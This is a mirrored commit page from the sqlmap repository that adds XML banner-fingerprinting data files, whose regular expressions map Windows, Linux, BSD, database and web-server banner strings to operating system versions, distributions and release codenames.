mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-25 17:09:02 +00:00
Some refactoring (data)
This commit is contained in:
161
data/xml/banner/generic.xml
Normal file
161
data/xml/banner/generic.xml
Normal file
@@ -0,0 +1,161 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- Windows -->
|
||||
|
||||
<regexp value="(Microsoft|Windows|Win32)">
|
||||
<info type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Service Pack 0">
|
||||
<info sp="0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Service Pack 1">
|
||||
<info sp="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Service Pack 2">
|
||||
<info sp="2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Service Pack 3">
|
||||
<info sp="3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Service Pack 4">
|
||||
<info sp="4"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Service Pack 5">
|
||||
<info sp="5"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
||||
|
||||
<regexp value="Windows.*\b10\.0">
|
||||
<info type="Windows" distrib="2016|10"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b6\.3">
|
||||
<info type="Windows" distrib="2012 R2|8.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b6\.2">
|
||||
<info type="Windows" distrib="2012|8"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b6\.1">
|
||||
<info type="Windows" distrib="2008 R2|7"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b6\.0">
|
||||
<info type="Windows" distrib="2008|Vista"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b5\.2">
|
||||
<info type="Windows" distrib="2003"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b5\.1">
|
||||
<info type="Windows" distrib="XP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b5\.0">
|
||||
<info type="Windows" distrib="2000"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b4\.0">
|
||||
<info type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b3\.0">
|
||||
<info type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b2\.0">
|
||||
<info type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Linux -->
|
||||
|
||||
<regexp value="Linux">
|
||||
<info type="Linux"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="CentOS">
|
||||
<info type="Linux" distrib="CentOS"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Cobalt">
|
||||
<info type="Linux" distrib="Cobalt"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Conectiva">
|
||||
<info type="Linux" distrib="Conectiva"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Debian">
|
||||
<info type="Linux" distrib="Debian"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Fedora">
|
||||
<info type="Linux" distrib="Fedora"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Gentoo">
|
||||
<info type="Linux" distrib="Gentoo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Knoppix">
|
||||
<info type="Linux" distrib="Knoppix"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Mandrake">
|
||||
<info type="Linux" distrib="Mandrake"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Mandriva">
|
||||
<info type="Linux" distrib="Mandriva"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Red[\-\_\ ]?Hat">
|
||||
<info type="Linux" distrib="Red Hat"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Slackware">
|
||||
<info type="Linux" distrib="Slackware"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="SuSE">
|
||||
<info type="Linux" distrib="SuSE"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Ubuntu">
|
||||
<info type="Linux" distrib="Ubuntu"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Unices -->
|
||||
|
||||
<regexp value="FreeBSD">
|
||||
<info type="FreeBSD"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="NetBSD">
|
||||
<info type="NetBSD"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="OpenBSD">
|
||||
<info type="OpenBSD"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Mac OSX -->
|
||||
|
||||
<regexp value="Mac[\-\_\ ]?OSX">
|
||||
<info type="Mac OSX"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Darwin">
|
||||
<info type="Mac OSX"/>
|
||||
</regexp>
|
||||
</root>
|
||||
4245
data/xml/banner/mssql.xml
Normal file
4245
data/xml/banner/mssql.xml
Normal file
File diff suppressed because it is too large
Load Diff
62
data/xml/banner/mysql.xml
Normal file
62
data/xml/banner/mysql.xml
Normal file
@@ -0,0 +1,62 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
|
||||
<info dbms_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Windows -->
|
||||
<regexp value="^([\d\.\-]+)[\-\_\ ].*nt$">
|
||||
<info dbms_version="1" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Debian -->
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+potato">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="2.1" codename="potato"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+woody">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="3.0" codename="woody"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+sarge">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+etch">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+lenny">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+squeeze">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="6.0" codename="squeeze"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="10.0" codename="buster"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+testing">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
||||
</regexp>
|
||||
|
||||
</root>
|
||||
7
data/xml/banner/oracle.xml
Normal file
7
data/xml/banner/oracle.xml
Normal file
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<regexp value="^Oracle\s+.*Release\s+([\d\.]+)\s+">
|
||||
<info dbms_version="1"/>
|
||||
</regexp>
|
||||
</root>
|
||||
16
data/xml/banner/postgresql.xml
Normal file
16
data/xml/banner/postgresql.xml
Normal file
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<regexp value="PostgreSQL\s+([\w\.]+)">
|
||||
<info dbms_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Windows -->
|
||||
<regexp value="Visual C\+\+">
|
||||
<info type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="mingw([\d]+)">
|
||||
<info type="Windows"/>
|
||||
</regexp>
|
||||
</root>
|
||||
858
data/xml/banner/server.xml
Normal file
858
data/xml/banner/server.xml
Normal file
@@ -0,0 +1,858 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!--
|
||||
References:
|
||||
* https://en.wikipedia.org/wiki/Internet_Information_Services
|
||||
* http://distrowatch.com
|
||||
-->
|
||||
|
||||
<root>
|
||||
<!-- Microsoft IIS -->
|
||||
|
||||
<regexp value="Microsoft-IIS/(10\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|10"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(8\.5)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2012 R2|8.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(8\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2012|8"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(7\.5)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2008 R2|7"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(7\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2008|Vista"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(6\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2003|XP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(5\.2)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2003"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(5\.1)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="XP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(5\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2000"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(4\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(3\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(2\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache -->
|
||||
|
||||
<regexp value="Apache$">
|
||||
<info technology="Apache"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/([\w\.]+)">
|
||||
<info technology="Apache" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache[\-\_\ ]AdvancedExtranetServer/([\w\.]+)">
|
||||
<info technology="Apache" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: CentOS -->
|
||||
|
||||
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
||||
<info type="Linux" distrib="CentOS" release="3.9"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.52 \(CentOS\)">
|
||||
<info type="Linux" distrib="CentOS" release="4.9"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(CentOS\)">
|
||||
<info type="Linux" distrib="CentOS" release="5.10"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.15 \(CentOS\)">
|
||||
<info type="Linux" distrib="CentOS" release="6.8"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.6 \(CentOS\)">
|
||||
<info type="Linux" distrib="CentOS" release="7-1708"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Debian -->
|
||||
|
||||
<regexp value="Apache/1\.0\.5 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="1.1" codename="buzz"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.1\.1 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="1.2" codename="rex"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.1\.3 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="1.3" codename="bo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.0 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="2.0" codename="hamm"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.3 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="2.1" codename="slink"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.9 \(Unix\) Debian\/GNU">
|
||||
<info type="Linux" distrib="Debian" release="2.2" codename="potato"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.26 \(Debian GNU\/Linux\)">
|
||||
<info type="Linux" distrib="Debian" release="3.0" codename="woody"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.33 \(Debian GNU\/Linux\)">
|
||||
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(Debian GNU\/Linux\)">
|
||||
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.34 \(Debian GNU\/Linux\)">
|
||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.6 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.9 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.16 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="6.0" codename="squeeze"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.22 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.10 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.25 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Fedora -->
|
||||
|
||||
<regexp value="Apache/2\.0\.47 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.50 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.49 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.51 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.52 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.53 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="4" codename="Stentz"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.0 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.2 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="6" codename="Zod"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.4 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="7" codename="Moonshine"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.6 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="6|7" codename="Zod|Moonshine" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.6 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="8" codename="Werewolf"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.8 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="9" codename="Sulphur"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.10 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="10" codename="Cambridge"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.11 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="11" codename="Leonidas"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.13 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="12" codename="Constantine"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.15 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="13" codename="Goddard"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.16 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="14" codename="Laughlin"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.17 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="15" codename="Lovelock"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.21 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="16" codename="Verne"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.22 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="17" codename="Beefy"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.3 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="18" codename="Spherical"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.4 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="19" codename="Schrodingers"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.6 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="20" codename="Heisenbug"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.10 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="21"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.12 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="22"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.16 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="23"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.18 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="24"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.23 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="25"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.25 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="26"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.28 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="27"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: FreeBSD -->
|
||||
|
||||
<regexp value="Apache/2\.0\.16 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="4.4"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.28 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="4.5"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.36 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="4.6"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.43 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="4.7|5.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.44 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="4.8"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.47 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="4.9"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.49 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="4.10"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.52 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="4.11"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.46 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="5.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.48 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="5.2.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.50 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="5.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.53 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="5.4"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.0 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="5.5|6.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="6.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="6.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.6 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="6.3|7.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.9 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="6.4|7.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.11 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="7.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.14 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="7.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.13 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="8.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.15 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="8.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.17 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="8.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.21 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="9.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.6 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="9.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.9 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="9.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.16 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="10.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.27 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="10.4"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.26 \(FreeBSD\)">
|
||||
<info type="FreeBSD" release="11.1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Mandrake / Mandriva -->
|
||||
|
||||
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
|
||||
<info type="Linux" distrib="Mandrake" release="6.0" codename="Venus"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.9 \(Unix\)\s+\(NetRevolution Advanced Server/Linux-Mandrake\)">
|
||||
<info type="Linux" distrib="Mandrake" release="6.1|7.0" codename="Helios|Air"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.12 \(NetRevolution/Linux-Mandrake\)">
|
||||
<info type="Linux" distrib="Mandrake" release="7.1" codename="Helium"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.14 \(Linux-Mandrake/">
|
||||
<info type="Linux" distrib="Mandrake" release="7.2" codename="Odyssey"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.19 \(Linux-Mandrake/">
|
||||
<info type="Linux" distrib="Mandrake" release="8.0" codename="Traktopel"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.20 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="8.1" codename="Vitamin"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.23 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="8.2" codename="Bluebird"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.26 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.0" codename="Dolphin"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.27 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.44 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.28 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.2" codename="FiveStar"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.47 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.1|9.2" codename="Bamboo|FiveStar"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.29 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.48 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.31 \(Linux-Mandrake/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.1" codename="Official"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.50 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.0|10.1" codename="Community|Official"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.53 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.2" codename="Limited Edition 2005"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.54 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2006.0"/>
|
||||
</regexp>
|
||||
|
||||
